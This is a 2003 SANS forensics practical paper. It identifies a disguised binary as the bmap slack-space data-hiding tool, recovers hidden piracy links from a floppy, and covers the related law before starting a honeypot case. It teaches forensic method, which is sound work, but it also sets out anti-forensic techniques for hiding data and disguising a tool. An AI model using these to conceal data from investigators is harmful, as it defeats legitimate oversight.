Fight crime. Unravel incidents... one byte at a time.

Interested in learning more?
Check out the list of upcoming events offering "Advanced Incident Response, Threat Hunting, and Digital Forensics (FOR508)" at http://digital-forensics.sans.org/
GCFA - Practical Assignment

A Linux 7.3 Compromise

Abstract: This is a three part paper. The first part is an analysis of a floppy with an unknown program provided by GIAC. The second is a forensic analysis of a compromised Linux RedHat 7.3 system and the final section answers legal questions provided by GIAC using Canadian laws.

Date: November 21, 2003
Author: Kevin Miller
Version: 1.4
# Table of Contents

## TABLE OF CONTENTS

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. ANALYSIS OF AN UNKNOWN BINARY</td>
<td>4</td>
</tr>
<tr>
<td>1.1. BINARY DETAILS</td>
<td>4</td>
</tr>
<tr>
<td>1.2. PROGRAM DESCRIPTION</td>
<td>10</td>
</tr>
<tr>
<td>1.3. FORENSIC DETAILS</td>
<td>17</td>
</tr>
<tr>
<td>1.4. PROGRAM IDENTIFICATION</td>
<td>18</td>
</tr>
<tr>
<td>1.5. LEGAL IMPLICATIONS</td>
<td>20</td>
</tr>
<tr>
<td>1.6. INTERVIEW QUESTIONS</td>
<td>22</td>
</tr>
<tr>
<td>1.7. CASE INFORMATION</td>
<td>23</td>
</tr>
<tr>
<td>1.8. ADDITIONAL INFORMATION</td>
<td>25</td>
</tr>
<tr>
<td>2. FORENSIC ANALYSIS - REDHAT 7.3 SYSTEM</td>
<td>26</td>
</tr>
<tr>
<td>2.1. SYNOPSIS OF CASE FACTS</td>
<td>26</td>
</tr>
<tr>
<td>2.2. SYSTEM DESCRIPTION</td>
<td>27</td>
</tr>
<tr>
<td>2.3. HARDWARE DESCRIPTION</td>
<td>28</td>
</tr>
<tr>
<td>2.4. MEDIA IMAGE</td>
<td>29</td>
</tr>
<tr>
<td>2.5. MEDIA ANALYSIS</td>
<td>32</td>
</tr>
<tr>
<td>2.6. TIMELINE ANALYSIS</td>
<td>46</td>
</tr>
<tr>
<td>2.7. RECOVER DELETED FILES</td>
<td>50</td>
</tr>
<tr>
<td>2.8. STRING SEARCH</td>
<td>52</td>
</tr>
<tr>
<td>2.9. CONCLUSIONS</td>
<td>54</td>
</tr>
<tr>
<td>3. LEGAL ISSUES OF INCIDENT HANDLING</td>
<td>55</td>
</tr>
<tr>
<td>3.1. QUESTIONS</td>
<td>55</td>
</tr>
<tr>
<td>APPENDICES</td>
<td>61</td>
</tr>
<tr>
<td>APPENDIX A</td>
<td>61</td>
</tr>
<tr>
<td>Pre compiled binary files</td>
<td>61</td>
</tr>
<tr>
<td>APPENDIX B</td>
<td>91</td>
</tr>
<tr>
<td>Bmap-1.0.20.tar.gz file list</td>
<td>91</td>
</tr>
<tr>
<td>APPENDIX C</td>
<td>94</td>
</tr>
<tr>
<td>Some Company – Acceptable Use Policy</td>
<td>94</td>
</tr>
<tr>
<td>APPENDIX D</td>
<td>97</td>
</tr>
<tr>
<td>Live Response Review</td>
<td>97</td>
</tr>
<tr>
<td>Live response File listings</td>
<td>106</td>
</tr>
<tr>
<td>starttime.txt</td>
<td>106</td>
</tr>
<tr>
<td>w.txt</td>
<td>106</td>
</tr>
<tr>
<td>netsat-sockets.txt</td>
<td>106</td>
</tr>
<tr>
<td>ldof.txt</td>
<td>108</td>
</tr>
<tr>
<td>ps.txt</td>
<td>108</td>
</tr>
<tr>
<td>lsmod.txt</td>
<td>171</td>
</tr>
<tr>
<td>netstat-routes.txt</td>
<td>173</td>
</tr>
<tr>
<td>ifconfig.txt</td>
<td>174</td>
</tr>
<tr>
<td>Proc-filesystem.txt</td>
<td>174</td>
</tr>
<tr>
<td>stoptime.txt</td>
<td>177</td>
</tr>
</tbody>
</table>
Document Conventions:

The Arial 12 point font is the standard font used.

The Courier New 10 and 12 point fonts are used for:

- Commands that were run
- Results from the running of different commands, logs etc.

Bold text within screen shots and text boxes added by author.
1. Analysis of an Unknown Binary

1.1. Binary Details

The objective is to identify the purpose of an unknown binary named ‘prog’ from a compressed floppy image obtained from GIAC. The file binary_v1.4.zip was downloaded from the SANS - GIAC website on Oct 14, 2003 at 10:19:00 CST. The examiner was Kevin Miller. The system used for the analysis was an IBM Thinkpad A31, with 1GB RAM, 60GB hard drive. The evaluation was performed using EnCase v4.14 and two VMWare workstations in a host only environment. The VMWare workstations used for the evaluation were Redhat 7.3.

Below is the evidence information provided by GIAC with the floppy:
- Tag# fl-160703-jp1
- 3.5 inch TDK floppy disk
- MD5: 4b680767a2aed974ceed5fbcf84cc97a
- fl-160703-jp1.dd.gz

The MD5 checksum from the file fl-160703-jp1.dd.gz was verified to ensure the MD5 checksum matched the tag information obtained from GIAC, see Figure 1. Winzip was used to uncompress the file and another md5 checksum was done on the uncompressed file also shown in Figure 1, MD5 hashes from floppy.

![Figure 1, MD5 hashes from floppy](image)

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
The floppy image was uncompressed, previewed then acquired with EnCase v4.14. The MD5 hash obtained from the uncompressed image file was compared to the MD5 hash calculated during the EnCase acquire. Both the MD5 Acquisition and Verify hashes matched the MD5 checksum from the uncompressed image file. The screen shot in Figure 2 shows the acquisition date and time, Acquisition Hash and Verification Hashes. For clarity the information from Figure 2 is reprinted below.

<table>
<thead>
<tr>
<th>John Price - disk</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Device</strong></td>
</tr>
<tr>
<td>Evidence Number:</td>
</tr>
<tr>
<td>File Path:</td>
</tr>
<tr>
<td>Actual Date:</td>
</tr>
<tr>
<td>Target Date:</td>
</tr>
<tr>
<td>Total Size:</td>
</tr>
<tr>
<td>Total Sectors:</td>
</tr>
<tr>
<td>File Integrity:</td>
</tr>
<tr>
<td>EnCase Version:</td>
</tr>
<tr>
<td>System Version:</td>
</tr>
<tr>
<td>Acquisition Hash:</td>
</tr>
<tr>
<td>Verify Hash:</td>
</tr>
<tr>
<td>Notes:</td>
</tr>
</tbody>
</table>

Figure 2. EnCase Report Screen shot - MD5 Verification
Using EnCase the file ‘prog’ was checked and the report tab was selected in the detail pane to obtain the File and MACTime information, file permissions and MD5 hash of the file.

The following information is provided by the EnCase report tab:

- The file atime is 07/16/03 12:12:45am
- The file ctime is 07/14/03 08:24:00am
- The file mtime is 07/16/03 12:05:33am
- File owner 502
- Group owner 502
- File size 487476
Using EnCase the ‘prog’ file was exported (see Figure 4) and transferred to the VMWare Linux 7.3 machine. The file was verified with md5sum in Figure 5. The file byte count matched the logical byte count from EnCase of 487476.

![Selection](image1.png)

Figure 4. EnCase export of prog file.

![Image 2](image2.png)

Figure 5. MD5sum -- byte count -- filetype for 'prog' file (VMware)

The ‘prog’ MD5 sum matches both MD5 checksums from EnCase and the VMWare workstation.

```
Output from prog.md5 => 7b80d9aff486c6aa6aa3efa63cc56880 prog
```
The file command was run to determine the file type. Lines of special interest were:

- ELF executable – the kernel recognizes the file a unix executable.
- statically linked – the library files required for execution are included when the file is compiled. The file is independent of the library files on the machine it is run on.
- Stripped – the symbols have been removed from the file. This keeps the file size smaller and does not allow for easy identification.¹

The strings command was run to list out printable characters from the prog file. The complete strings output is listed in Appendix A. The lines from the strings output that were used for further investigation are shown below:

```
mft_getopt
.
.
flag-
flagized option invokation
examining an enum!
matched against an enum val
examining a venum!
matched against an venum val
.
.
mft_log_shutdown
.
.
display fragmentation information for the file
frag
wipe the file from the raw device
.
.
autogenerate document ...
1.0.20 (07/15/03)

newt
use block-list knowledge to perform special operations on files
prog
main
off_t too small!
07/15/03
invalid option: %s
.
.
unable to raw open %s
Unable to determine count
Unable to allocate buffer
%s has holes in excess of %ld bytes...
error mapping block %d (%s)
nul block while mapping block %d.
.
```

¹ Linux RedHat 7.3 “Man page for ‘file’ (man file)”, ver 3.37 of file - gcc binutils.
The bolded lines above were searched using www.google.com. The string that provided the first solid lead was:

“use block-list knowledge to perform special operations on files”.
The google search led to http://old.lwn.net/2000/0413/announce.php3, a website that had the full search string text listed on it. The link on this page identified the program as bmap. The bmap references, (bolded and underlined above) provided further confirmation of the identity of the 'prog' file as the program 'bmap'. The line:

```
1.0.20 (07/15/03)
```

indicated the bmap version as 1.0.20 and the date the file was compiled as (07/15/03).

1.2. Program Description

To determine the type of program the 'prog' file was, the command 'file prog' was used. The 'file' command displays the signature of a file. The output of the 'file prog' command showed the program to be an:

```
ELF 32-bit LSB executable for the Intel 80386 platform
```

As indicated in section 1.1 the strings search on google showed the file to be a program called “bmap”. The details from http://old.lwn.net/2000/0413/announce.php3 state the program is used to “perform special operations on files”.

What is the file used for? From the comments taken from strings analysis we can restate it as “the prog file – use(s) block-list knowledge to perform special operations on files”. The bmap program is referred to as a data hiding tool.

The last time the ‘prog’ file was used is indicated by the atime, 07/16/03 12:12:45am from the EnCase report. The MACtimes are:

- last access time (atime) of this program was 07/16/03 12:12:45am
- last modified time (mtime) of the program was 07/16/03 12:05:33am.
- last change time (ctime) of the program was 07/14/03 08:24:00am

Step-by-Step Analysis

An isolated VMWare lab environment was used to analyze and run the file prog. The lab environment consisted of:

- Linux Redhat 7.3 VMWare workstation 1, (hereafter referred to as Redhat1), was setup as a network sniffer with an IP address of 192.168.75.131. Snort (v1.9) was used on the first Linux 7.3 VMWare workstation to monitor network traffic.

---

The command for running snort was “snort –vd”.

- Linux Redhat 7.3 VMWare workstation 2, (hereafter referred to as Redhat2), was setup to run the program with an IP address of 192.168.75.132. The program gdb (v5.1.90CVS-5) and strace were used to analyze the ‘prog’ file. Aide (v0.9) was installed and run on all files. Aide (Advance Intrusion Detection Environment) was configured to do an MD5 checksum of the file system. To allow for a known state and repeated execution of the prog file the VMWare workstation was configured an “undoable”. A unix live response consisting of the following commands: date, w, lsof, ps, netstat, lsmdef and ls was run before and after executing the ‘prog’ file.

The following outlines the forensic analysis method used. The method used followed the methodology from the Sans Course “Reverse-Engineering Malware: Tools and Techniques Hands-on” course.

1) On Redhat2 workstation ‘md5sum’ was used to verify the file integrity (see Figure 5). The command ‘ll’ was used to obtain the byte size of the program. The command ‘file prog’ was run to identify the file type. From the ‘file prog’ command we know that:
   a) The file has been statically compiled. This means the library files are part of the file. This ensures the library files required to run the ‘prog’ program are available) and
   b) The file has been stripped. This means the symbols and file comments, that can provide clues on how the program works, have been removed.

2) On Redhat2 the strings command was used to dump the strings from the file (see Appendix A). The strings were analyzed and the program was identified as bmap. The ld command provided no reference library information due to the stripping of the prog file.

The reference site for bmap was found and investigated further. The link provided the site ftp://ftp.scyld.com/pub/forensic_computing/bmap/. The source for version 1.0.20 was downloaded.

3) The following was done on the Redhat2. Aide 0.9 was run to create the initial MD5 checksum of files on the system. The Live response kit was run to record the status of the system. On Redhat2 the command ‘snort –dv’ was run to record any network traffic. A comparison of the MD5 checksums from before and after runnings of the ‘prog’ file is shown below.
The differences were identified and explained by different date and time stamps and expected changes between running processes.

The output from running the prog file was “no filename. Try ‘--help’ for help”. Analysis of snort output on Redhat2 showed no network traffic.

4) To ensure the environment was clean the VMWare environment was restarted without saving the previous session. The source code for bmap version 1.0.20 was unpacked. The bmap Makefile was modified to statically link libraries. The --static switch was added to the LDFLAGS line. The LDFLAGS line was now:

```
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static
```

The bmap file was stripped using the strip command:

```
strip bmap
```

The ‘bmap’ file was compared with the ‘prog’ file using “md5sum”, “file” and “ll” output. The output screen is shown in Figure 7. The MD5 checksum did not match the MD5 checksum of the ‘prog’ file. The ‘file’ command output and byte count matched.
Figure 7. md5sum - byte count - file type for 'bmap' file (VMWare)

The ‘prog’ file and the newly compiled ‘bmap’ file were run with the –help switch. The output from both is shown:

```
[root@localhost bin1.4]# ./prog --help
prog 1.0.20 (07/15/03) new
Usage: prog [OPTION]... [<target-filename>]
use block-list knowledge to perform special operations on files

--doc VALUE
   where VALUE is one of:
   version display version and exit
   help display options and exit
   man generate man page and exit
   sgml generate SGML invocation info

--mode VALUE
   where VALUE is one of:
   m list sector numbers
   c extract a copy from the raw device
   s display data
   p place data
   w wipe
   chk test (returns 0 if exist)
   sb print number of bytes available
   wipe wipe the file from the raw device
   frag display fragmentation information for the file
   checkfrag test for fragmentation (returns 0 if file is fragmented)

--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
```
The omitted pieces of the ‘bmap –help’ output are shown in bold red in the output above. A comparison of the strings output from ‘prog’ and ‘bmap’ showed the modifications to the help strings for the prog file. The references that were “left out” point to the purpose of the program. The strings searches were analyzed and word references were extracted to two files. The files were compared using excel. The words in the bmap strings output that are not found in the “prog” strings output are shown in bold red and the changed references are shown in bold blue in Table 1.
<table>
<thead>
<tr>
<th>slackbytes</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>test for slack</td>
<td>test (returns 0 if file has slack)</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>checkslack</td>
<td></td>
</tr>
<tr>
<td>wipe slack</td>
<td>wipe</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>wipeslack</td>
<td></td>
</tr>
<tr>
<td>place data into</td>
<td>place data</td>
</tr>
<tr>
<td>slack</td>
<td></td>
</tr>
<tr>
<td></td>
<td>extract a copy from the raw device</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>putslack</td>
<td></td>
</tr>
<tr>
<td>display data in</td>
<td>display data</td>
</tr>
<tr>
<td>slack space</td>
<td></td>
</tr>
<tr>
<td></td>
<td>extract a copy from the raw device</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>carve</td>
<td></td>
</tr>
<tr>
<td>list sector numbers</td>
<td>list sector numbers</td>
</tr>
<tr>
<td></td>
<td>operation to perform on files</td>
</tr>
<tr>
<td></td>
<td>mode</td>
</tr>
<tr>
<td></td>
<td>generate SGML invocation info</td>
</tr>
<tr>
<td></td>
<td>sgml</td>
</tr>
<tr>
<td></td>
<td>generate man page and exit</td>
</tr>
<tr>
<td></td>
<td>display options and exit</td>
</tr>
<tr>
<td></td>
<td>help</td>
</tr>
<tr>
<td></td>
<td>display version and exit</td>
</tr>
<tr>
<td></td>
<td>version</td>
</tr>
<tr>
<td></td>
<td>autogenerate document ...</td>
</tr>
<tr>
<td></td>
<td>version</td>
</tr>
<tr>
<td>1.0.20 (07/15/03)</td>
<td>1.0.20 (07/15/03)</td>
</tr>
<tr>
<td><a href="mailto:newt@scyld.com">newt@scyld.com</a></td>
<td>newt</td>
</tr>
<tr>
<td></td>
<td>use block-list knowledge to perform</td>
</tr>
<tr>
<td></td>
<td>special operations on files</td>
</tr>
<tr>
<td></td>
<td>use block-list knowledge to perform</td>
</tr>
<tr>
<td></td>
<td>special operations on files</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>bmap</td>
<td>prog</td>
</tr>
</tbody>
</table>

**Table 1 String comparison - prog and bmap files**

The bmap.c file was modified to replicate the prog file as follows:

- Removed 2 lines shown below that referenced "wipe, wipe slack"

  ```c
  {"wipeslack","wipe slack",
   0,MO_INT_CAST(BMAP_WIPESLACK)},
  ```

- Changed from "map" to "m".
- Changed from "carve" to "c".
- Changed from "slack" to "s" and removed "slack space" from line.
- Changed from "putslack" to "p" and removed "into slack" from line.
- Changed "checkslassk" to "chk", remove "for slack" and changed "file has slack" to "exist"
- Changed "slackbytes" to "sb" and removed "slack" from line.
Kevin Miller - Sans GCFA Assignment – v1.4  Page 16

- Seached on “bmap” and changed to “prog”
- Changed author in Make file from “newt@scyld.com” to “newt”
- Added -static to LD_FLAGS on line 30 in Makefile.
- Changed date to Jul 15, 2003

The objective was to see if the MD5 checksum could be replicated identically. The md5sum did not match, the bmap MD5 was “bcade02b97d17f20f0937df10511fcd8”. This is attributed to not having the compile options and specifics on the versions of library files used to compile the prog executable.

The strace program was used to follow the interaction between the ‘prog’ and ‘bmap’ files and the operating system. The strace output from both “prog –help” and “bmap –help” are shown below. Note: No differences were found.

```
…………………..
bmap.strace3
…………………..
5902 [????????] execve("./bmap", ["./bmap"], [/* 19 vars */]) = 0
5902 [420b542b] geteuid32() = 0
5902 [420b4c6a] execve("./bmap", ["./bmap"], [/* 19 vars */]) = 0
5902 [080552ee] fcntl164(0, F_GETFD) = 0
5902 [080552ee] fcntl164(1, F_GETFD) = 0
5902 [080552ee] fcntl164(2, F_GETFD) = 0
5902 [0806f9bd] uname({sys="Linux", node="localhost.localdomain", ...}) = 0
5902 [0806faa0] geteuid32() = 0
5902 [0806fa34] geteuid32() = 0
5902 [0806fb78] getegid32() = 0
5902 [0806fb0c] getegid32() = 0
5902 [08070085] brk(0) = 0x80bedec
5902 [08070085] brk(0x80bee0c) = 0x80bee0c
5902 [08070085] brk(0x80bee000) = 0x80bee000
5902 [08070085] brk(0x80c00000) = 0x80c00000
5902 [080550e4] write(2, "no filename. try \"--help\" for he", 36) = 36
5902 [08054cbd] _exit(2) = ?
…………………..
prog.strace3
…………………..
5904 [????????] execve("./prog", ["./prog"], [/* 19 vars */]) = 0
5904 [420b542b] geteuid32() = 0
5904 [420b4c6a] execve("./prog", ["./prog"], [/* 19 vars */]) = 0
5904 [0805531e] fcntl164(0, F_GETFD) = 0
5904 [0805531e] fcntl164(1, F_GETFD) = 0
5904 [0805531e] fcntl164(2, F_GETFD) = 0
5904 [0806f9ed] uname({sys="Linux", node="localhost.localdomain", ...}) = 0
5904 [0806faa0] geteuid32() = 0
5904 [0806fa34] geteuid32() = 0
5904 [0806fb78] getegid32() = 0
5904 [0806fb0c] getegid32() = 0
5904 [08070085] brk(0) = 0x80bedec
5904 [08070085] brk(0x80bee0c) = 0x80bee0c
```

© SANS Institute 2004,
As part of GIAC practical repository.  Author retains full rights.
1.3. Forensic Details

When a program is installed on a system its MD5 checksum can be calculated and used as search criteria. Other program identifiers, such as the strings output in Section 1.1 above, can be used for keyword searches of the slack space and deleted files.

The “prog” file was statically linked as seen in the file output shown in Figure 5. Being statically linked meant all functions required for program execution are compiled as part of the binary. The execution of ‘prog’ did not rely on specific libraries being present on the system. Based on the ‘bmap’ and ‘prog’ analysis the program allows for the hiding of files in the slack space of other files. The key leads from the string search were:

```
1.0.20 (07/15/03)
  newt
  use block-list knowledge to perform special operations on files
    
    bmap_get_block_size
    bmap_map_block
    
    bmap_raw_open
    
    bmap_raw_close
```

The forensic details uncovered in step-by-step analysis in section 1.2 provided direction for further investigation. No network traffic was seen with “snort –dv” when the ‘prog’ file was executed. The strace comparisons, aide file system checksum comparisons and live response analysis done in section 1.2 proved the ‘prog’ file to be identical to the ‘bmap’ program with explainable differences to account for the MD5 checksum and strings output differences.

Investigation focused on the floppy disk. The purpose was to see if any data had been hidden in the slack space of the files on the floppy.

Using EnCase the Floppy dd image was restored to a floppy and mounted as read-only in the Redhat1 VMWare workstation. The bmap program was run on files using the –slack switch. The /Docs/Sound-HOWTO-html.tar.gz file had data in the slack space. Below are the commands run to extract the data from the slack space:

```
[root@localhost bin1.4]# ./bmap --slack /mnt/floppy/Docs/Sound-HOWTO-html.tar.gz > Sound-slack.out
getting from block 190
```
file size was: 26843
slack size: 805
block size: 1024

[root@localhost bin1.4]# file Sound-slack.out
[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:
www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***

[root@localhost bin1.4]# The strings output was used to locate the source code for the "prog" program. The leads from the slack space information above would be used to investigate the allegations against Mr. Price.

1.4. Program Identification

The source for bmap-1.0.20 was located at ftp://ftp.scyld.com/pub/forensic_computing/bmap/. The search to locate the site was based on string searches from the binary. See section 1.1 for details on the strings search used. The program 'bmap' is used for hiding data in slack space. The source code was obtained and the bmap.c file was edited as indicated in section 1.2. See Appendix B for a listing of the files from the bmap-1.0.20.tar.gz.

As seen in the section of Makefile below the switch "-static" was added.

```makefile
BOGUS_MAJOR = 123
BOGUS_MINOR = 123
BOGUS_FILENAME = "/.../image"
CFLAGS = -Wall -g
CPPFLAGS = -I$(MFT_INCLUDE_DIR) -Iinclude
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static
BINARIES = bmap slacker bclump
LIBRARIES = $(STATIC_LIBRARIES) $(SHARED_LIBRARIES)
```

The compile of the "bmap" executable was done by typing "make" in the bmap-1.0.20 directory. To strip the file the command used was "strip bmap". An MD5 comparison of
the file showed it to be different from the “prog” file. String comparisons were done and can be seen in Table 1 on page 15. The bmap.c file and Makefile were modified according to section 1.3 and bmap was recompiled using make. The MD5 output still didn’t match the “prog” file. The byte count was the same and the strings output between the two files showed

```
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 611550 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# strip bmap
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 487476 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# md5sum bmap
92860c2996dca14ac353e9765cb81b2 bmap
[root@localhost bmap-1.0.20-modified]# ll ../prog
-rwxr-x-- 1 root wheel 487476 Oct 16 2003 ../prog
[root@localhost bmap-1.0.20-modified]# md5sum ../prog
7b80d9aff486c6aa6aa3e6a43cc56880 ../prog
```

Section 1.2 shows the straces of the two programs with no differences. The conclusion drawn is the “prog” file is different from the “bmap” due to specific changes made to hide the purpose of the file by the individual who compiled the program. Some of the reasons for the difference could be version differences in library file, version differences in the compiler. The GCC compiler used in the VMWare workstation was 2.96 20000731. A search of the unallocated cluster with EnCase is shown in Figure 8.

![Figure 8. GCC version information located in Unallocated Clusters](image.png)
The gcc version indicated was 3.2.2 20030222, this can account for the differences in the bmap and prog MD5 checksums.

1.5. **Legal Implications**

An image of the prog file was found in the unallocated clusters on the floppy disk. With the evidence from the slack space area of the Sound-HOWTO-html.tar.gz file we know the “prog” program was used to hide information. The information from the slack space can lead to potential violation of the Criminal Code of Canada, Part IX, Section 342.1 and Part XI, Section 430. The renaming of bmap and the alteration of the output help commands, statically linking the file and stripping it, demonstrates a desire to hide intentions. We know the “prog” file has been used to hide web addresses for ripped MP3 files. Assuming other evidence proves violation of the Copyright Act of Canada then additional charges and civil action can be taken.

If the servers were not located in Canada then it would not be a violation of Canadian law. If the servers are within the United States then the information would be passed on to U.S. authorities.

Assuming the MP3 files are on servers that are located in Canada, then unauthorized access laws could be applied. One of the Canadian laws that would be violated is the Criminal Code of Canada, Part IX – Offences Against Rights of Property S.342.1 (1) (a)-(d).

342.1 (1) Every one who, fraudulently and without colour of right, (a) obtains, directly or indirectly, any computer service,

(b) by means of an electro-magnetic, acoustic, mechanical or other device, intercepts or causes to be intercepted, directly or indirectly, any function of a computer system,

(c) uses or causes to be used, directly or indirectly, a computer system with intent to commit an offence under paragraph (a) or (b) or an offence under section 430 in relation to data or a computer system, or

(d) uses, possesses, traffics in or permits another person to have access to a computer password that would enable a person to commit an offence under paragraph (a), (b) or (c)

is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years, or is guilty of an offence punishable on summary conviction. 

---

The mischief law may also be applied, under the Criminal Code of Canada, Part XI – Willful and Forbidden Acts in Respect of Certain Property. Section 428 defines property and Section 430 (1) (a)-(d) and (1.1) (a)-(d) defines Mischief:

**Definition of “property”**

428. In this Part, “property” means real or personal corporeal property.

**Mischief**

430. (1) Every one commits mischief who willfully

(a) destroys or damages property;

(b) renders property dangerous, useless, inoperative or ineffective;

(c) obstructs, interrupts or interferes with the lawful use, enjoyment or operation of property; or

(d) obstructs, interrupts or interferes with any person in the lawful use, enjoyment or operation of property.

**Mischief in relation to data**

(1.1) Every one commits mischief who willfully

(a) destroys or alters data;

(b) renders data meaningless, useless or ineffective;

(c) obstructs, interrupts or interferes with the lawful use of data; or

(d) obstructs, interrupts or interferes with any person in the lawful use of data or denies access to data to any person who is entitled to access thereto.

(5) Every one who commits mischief in relation to data

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) is guilty of an offence punishable on summary conviction.

(5.1) Every one who willfully does an act or willfully omits to do an act that it is his duty to do, if that act or omission is likely to constitute mischief causing actual danger to life, or to constitute mischief in relation to property or data,

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) is guilty of an offence punishable on summary conviction.

---

The Acceptable use policy from “SANS – Acceptable use policy template” was used as Some Company’s policy. Section 4.3 “Unacceptable Use” outlines prohibited activities, we find the following

1. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of “pirated” or other software products that are not appropriately licensed for use by Some Company.

2. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

The “prog” program has been used to hide data relating to the alleged distribution of copyrighted material. According to Section 5.0 of the policy “violating the policy can subject the employee to disciplinary action, up to and including termination of employment”.

1.6. Interview Questions

The questions I would use to help prove a subject was the one who installed and executed the “prog” file are below:

Hi, I’m Kevin, I have a few questions for you:

1) Can you tell me when you were on holidays this year?

2) You were at work on “July 18, 2003”?

The reason for questions one and two is to establish that the suspect was at work during the time the program was installed and executed.

3) What is your background with computers?

The reason for question three is to determine the level of experience the suspect has with computers.

4) Does everyone use their own login ID’s in the area?
   What login ID do you use?
   Are there any other logon IDs that you use?

The reason for asking these questions is gather the various user IDs the suspect uses. This information will assist the investigators when analyzing log evidence and ownership
5) What workstations do you use?  
Do you access any servers for your work function?

Knowing what workstation and servers the suspect admits to having access to can help in gathering other evidence. Verification may be available through network event logging and/or other co-worker corroboration.

6) I see you have extensive computer experience. We’ve found a program called ‘prog’ on the floppy disk in your office. Can you tell me the purpose of this program?

The suspect has an opportunity to provide an explanation for the program and its intended purpose.

7) Can you tell me the last time you used the ‘prog’ program and what you used it for?

Question seven hits the suspect head on, he is given an opportunity to give his side of the story.

1.7. Case Information

To assist System Administrators in detecting the use of the “prog” file or files with hidden slack space data, a sweep of servers the suspect had, or could have had access to would be conducted. The sweep would start with a basic find sweep for the “prog” file, starting with accounts the suspect used. The next step for System Administrator would be to use the bmap tool and locate files with data in slack space. The command to use would be:

```bash
# find / -name "*" -type f -exec bmap -checkslack {} \
```

The command will start at root (/) looking for all (-name "") files (-type f) and run “bmap –checkslack” on the file and print this out. As seen in Figure 9:
Kevin Miller - Sans GCFA Assignment – v1.4

Figure 9. Slack check for John Price Floppy

Figure 9 shows the file Sound-HOWTO-html.tar.gz with “slack”. To extract the slack data the command was run:

```
bmap -slack /mnt/floppy/Sound-HOWTO-html.tar.gz > Sound-slack.out
```

The file command was run on “file Sound-slack.out”. The result showed the file as a gzip file. The program zcat was used to parse the file “zcat Sound-slack.out”. The output is reprinted below. (refer to section 1.3 for the actual session outputs.)

```
[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s – latest releases:

www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***
```

Other pieces of evidence are taken from the time line of the files on the disk and the letter to Mike. The time line shows the Sound-HOWTO-html.tar.gz document last written (ctime) and last accessed (atime) as 08:11:50am. The nc-1.10.16.i386.rpm...rpm file is accessed next with a ctime and atime of 08:12:15am, and ebay300.jpg is accessed with ctime and atime of 08:12:48am. The letter to Mike (Mkemsg.doc) has ctime, atime and mtime of 08:48:15am. The content in the letter was:

```
Hey Mike,
I received the latest batch of files last night and I’m ready to rock-n-roll (ha-ha).
```
I have some advance orders for the next run. Call me soon.

JP

With the evidence from the slack data, the time line and the letter to Mike, we can proceed to the web servers for further investigation and evidence gathering.

1.8. Additional Information


Section 2

2. Forensic Analysis - RedHat 7.3 system

2.1. Synopsis of Case Facts

The honeynet was put into service on June 27, 2003. The honeynet (see Figure 10) consisted of:

- 1 firewall configured with external, private and demilitarized zone (DMZ) network interfaces.
- 1 default server install of Linux 7.3 running an Apache web server.
- 1 default server install of Windows 2000 running and IIS web server.
- 1 sebek (v.2.0.1) host running on Linux 7.3 with 2 network interfaces.
- 1 snort (v.2.0.0) host running on FreeBSD (v4.7) with 2 network interfaces.
- 1 Linux 8.0 server setup as a central log host with one network interface.

On the afternoon of June 29, 2003 logging events from the network IDS and firewall alerted honeynet staff to scanning activity originating from the Linux 7.3 honeypot system. The firewall rules were modified to deny traffic to and from the system.

On June 30, 2003 at 5:18 pm a live response procedure was run on the Linux 7.3 computer and at 5:31 pm the power cord to the box was unplugged. The harddrive was removed and an image of the hard drive was made using a FastBloc device and EnCase v4.14 software.

The log files from the snort host and sebek host were obtained. Delays in securing the log evidence from the log server required a dd image be taken of the log partition for forensic recovery and analysis. Md5 checksums were done for all logging evidence and burned to CD.

NTP synchronization problems required time synchronization adjustments for evidence gathered. The analysis is described below.
2.2. System Description

The hardware of the Linux 7.3 honeypot machine was:

- Compaq Deskpro Pentium II 400 Mhz
- 128MB of RAM
- 1 - 6.4GB IDE harddrive
- 1 – CDROM IDE
- 1 – 10/100 onboard Ethernet adapter
- 1 – 3.5” floppy drive

The Redhat Linux 7.3 honeypot system installation included the WWW (Apache) server and the sebek2\(^5\) kernel module. The kernel module was configured to hide traffic dumped on the wire from any sniffers installed on the victim machine. The sebek2 logging traffic was dumped to ip address 0.0.0.0 to log keystrokes from the server. The network configuration is shown in Figure 10.

The snort (v2.0.0) host was configured to provide network intrusion detection, alerting and tcpdump binary packet capture. This operating system had FreeBSD 4.7 as the operating system.

The sebeksniff host was configured to sniff for UDP packets on port 1101. The sebeksniff system had Linux 7.3 as the operating system.

The log server was configured to accepting logging from the firewall and the honey pot systems. The operating system on the log server was Linux 8.0.

---
2.3. Hardware Description

The following is a list of evidence items:

<table>
<thead>
<tr>
<th>Tag #</th>
<th>Description</th>
</tr>
</thead>
</table>
